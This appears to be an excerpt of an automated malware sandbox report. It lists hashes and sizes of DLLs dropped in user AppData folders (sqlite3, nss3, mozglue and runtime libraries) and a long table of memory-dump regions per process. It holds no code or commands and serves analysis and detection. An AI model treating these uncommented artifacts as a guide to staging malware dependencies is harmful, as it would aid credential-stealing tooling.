SHA16522992957e7e4d074947cad63189f308a80fcf2
SHA256c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e
SHA5122e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5
-
\Users\Admin\AppData\LocalLow\sqlite3.dllFilesize
1.0MB
MD5dbf4f8dcefb8056dc6bae4b67ff810ce
SHA1bbac1dd8a07c6069415c04b62747d794736d0689
SHA25647b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68
SHA512b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1
-
\Users\Admin\AppData\Local\Temp\3F2CD383\mozglue.dllFilesize
135KB
MD59e682f1eb98a9d41468fc3e50f907635
SHA185e0ceca36f657ddf6547aa0744f0855a27527ee
SHA256830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d
SHA512230230722d61ac1089fabf3f2decfa04f9296498f8e2a2a49b1527797dca67b5a11ab8656f04087acadf873fa8976400d57c77c404eba4aff89d92b9986f32ed
-
\Users\Admin\AppData\Local\Temp\3F2CD383\msvcp140.dllFilesize
429KB
MD5109f0f02fd37c84bfc7508d4227d7ed5
SHA1ef7420141bb15ac334d3964082361a460bfdb975
SHA256334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4
SHA51246eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39
-
\Users\Admin\AppData\Local\Temp\3F2CD383\nss3.dllFilesize
1.2MB
MD5556ea09421a0f74d31c4c0a89a70dc23
SHA1f739ba9b548ee64b13eb434a3130406d23f836e3
SHA256f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb
SHA5122481fc80dffa8922569552c3c3ebaef8d0341b80427447a14b291ec39ea62ab9c05a75e85eef5ea7f857488cab1463c18586f9b076e2958c5a314e459045ede2
-
\Users\Admin\AppData\Local\Temp\3F2CD383\vcruntime140.dllFilesize
81KB
MD57587bf9cb4147022cd5681b015183046
SHA1f2106306a8f6f0da5afb7fc765cfa0757ad5a628
SHA256c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d
SHA5120b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f
-
memory/188-1572-0x0000000000402354-mapping.dmp
-
memory/212-1606-0x0000000000000000-mapping.dmp
-
memory/1296-1510-0x0000021198290000-0x00000211982DC000-memory.dmpFilesize
304KB
-
memory/1296-1210-0x00000211FF910000-0x00000211FF9BA000-memory.dmpFilesize
680KB
-
memory/1296-1211-0x0000021198000000-0x000002119804E000-memory.dmpFilesize
312KB
-
memory/1296-1209-0x0000000140000000-0x000000014007A000-memory.dmpFilesize
488KB
-
memory/1296-1208-0x0000000140000000-mapping.dmp
-
memory/1764-370-0x0000000000000000-mapping.dmp
-
memory/1764-541-0x0000012850F10000-0x0000012850F86000-memory.dmpFilesize
472KB
-
memory/1892-174-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-137-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-150-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-151-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-152-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-153-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-154-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-155-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-156-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-157-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-158-0x0000000004CB0000-0x0000000004D24000-memory.dmpFilesize
464KB
-
memory/1892-159-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-160-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-161-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-162-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-163-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-164-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-165-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-166-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-167-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-168-0x0000000004D90000-0x0000000004E22000-memory.dmpFilesize
584KB
-
memory/1892-169-0x0000000004EB0000-0x0000000004ED2000-memory.dmpFilesize
136KB
-
memory/1892-170-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-171-0x0000000004EE0000-0x0000000005230000-memory.dmpFilesize
3.3MB
-
memory/1892-172-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-173-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-117-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-118-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-148-0x00000000004A0000-0x0000000000518000-memory.dmpFilesize
480KB
-
memory/1892-119-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-178-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-147-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-146-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-145-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-144-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-143-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-120-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-142-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-141-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-140-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-139-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-116-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-138-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-149-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-136-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-135-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-134-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-133-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-121-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-132-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-122-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-131-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-123-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-124-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-125-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-126-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-130-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-129-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-128-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/1892-127-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/2664-495-0x0000000000402354-mapping.dmp
-
memory/2664-629-0x0000000000400000-0x0000000000406000-memory.dmpFilesize
24KB
-
memory/2684-1678-0x0000000005270000-0x00000000055C0000-memory.dmpFilesize
3.3MB
-
memory/3160-405-0x0000000000440000-0x00000000004B2000-memory.dmpFilesize
456KB
-
memory/3160-438-0x0000000004C30000-0x0000000004C9E000-memory.dmpFilesize
440KB
-
memory/3160-299-0x0000000000000000-mapping.dmp
-
memory/3160-473-0x0000000004E70000-0x00000000051C0000-memory.dmpFilesize
3.3MB
-
memory/3592-1683-0x0000000000402354-mapping.dmp
-
memory/3752-1182-0x0000000009720000-0x0000000009D98000-memory.dmpFilesize
6.5MB
-
memory/3752-1166-0x00000000075D0000-0x00000000075EC000-memory.dmpFilesize
112KB
-
memory/3752-1435-0x0000000008D80000-0x0000000008D9A000-memory.dmpFilesize
104KB
-
memory/3752-1440-0x0000000008D70000-0x0000000008D78000-memory.dmpFilesize
32KB
-
memory/3752-1218-0x0000000008E40000-0x0000000008E73000-memory.dmpFilesize
204KB
-
memory/3752-1232-0x0000000009350000-0x00000000093E4000-memory.dmpFilesize
592KB
-
memory/3752-1163-0x0000000007660000-0x00000000076C6000-memory.dmpFilesize
408KB
-
memory/3752-1228-0x0000000009190000-0x0000000009235000-memory.dmpFilesize
660KB
-
memory/3752-1219-0x0000000006A60000-0x0000000006A7E000-memory.dmpFilesize
120KB
-
memory/3752-1183-0x0000000008CD0000-0x0000000008CEA000-memory.dmpFilesize
104KB
-
memory/3752-1171-0x0000000007E70000-0x0000000007EE6000-memory.dmpFilesize
472KB
-
memory/3752-1167-0x00000000080C0000-0x000000000810B000-memory.dmpFilesize
300KB
-
memory/3752-1102-0x0000000000000000-mapping.dmp
-
memory/3752-1138-0x00000000046D0000-0x0000000004706000-memory.dmpFilesize
216KB
-
memory/3752-1143-0x0000000006F80000-0x00000000075A8000-memory.dmpFilesize
6.2MB
-
memory/3752-1161-0x0000000006EB0000-0x0000000006F16000-memory.dmpFilesize
408KB
-
memory/3956-1567-0x0000000004C30000-0x0000000004F80000-memory.dmpFilesize
3.3MB
-
memory/4112-238-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/4112-186-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/4112-175-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/4112-176-0x000000000040776F-mapping.dmp
-
memory/4112-177-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/4112-179-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/4112-180-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/4112-181-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/4112-344-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/4112-183-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/4112-185-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/4112-184-0x0000000077A00000-0x0000000077B8E000-memory.dmpFilesize
1.6MB
-
memory/4144-313-0x0000000000000000-mapping.dmp
-
memory/4144-1081-0x0000000004B50000-0x0000000004EA0000-memory.dmpFilesize
3.3MB
-
memory/4144-457-0x0000000002500000-0x00000000025AE000-memory.dmpFilesize
696KB
-
memory/4144-427-0x0000000000040000-0x00000000000F0000-memory.dmpFilesize
704KB
-
memory/4500-350-0x0000000005740000-0x0000000005A90000-memory.dmpFilesize
3.3MB
-
memory/4500-287-0x0000000000CF0000-0x0000000000D70000-memory.dmpFilesize
512KB
-
memory/4500-252-0x0000000000000000-mapping.dmp
-
memory/4500-306-0x00000000054E0000-0x000000000555C000-memory.dmpFilesize
496KB
-
memory/4520-588-0x0000000000000000-mapping.dmp
-
memory/4692-1511-0x0000000000400000-0x000000000047E000-memory.dmpFilesize
504KB
-
memory/4692-1461-0x0000000000431CA9-mapping.dmp
-
memory/4692-1509-0x0000000000400000-0x000000000047E000-memory.dmpFilesize
504KB
-
memory/4708-489-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/4708-1091-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/4708-372-0x000000000041A684-mapping.dmp
-
memory/5080-316-0x000001FF7D8F0000-0x000001FF7D912000-memory.dmpFilesize
136KB
-
memory/5080-296-0x000001FF7BB70000-0x000001FF7BC54000-memory.dmpFilesize
912KB
-
memory/5080-291-0x0000000000000000-mapping.dmp
-
memory/5080-304-0x000001FF7E0F0000-0x000001FF7E1D2000-memory.dmpFilesize
904KB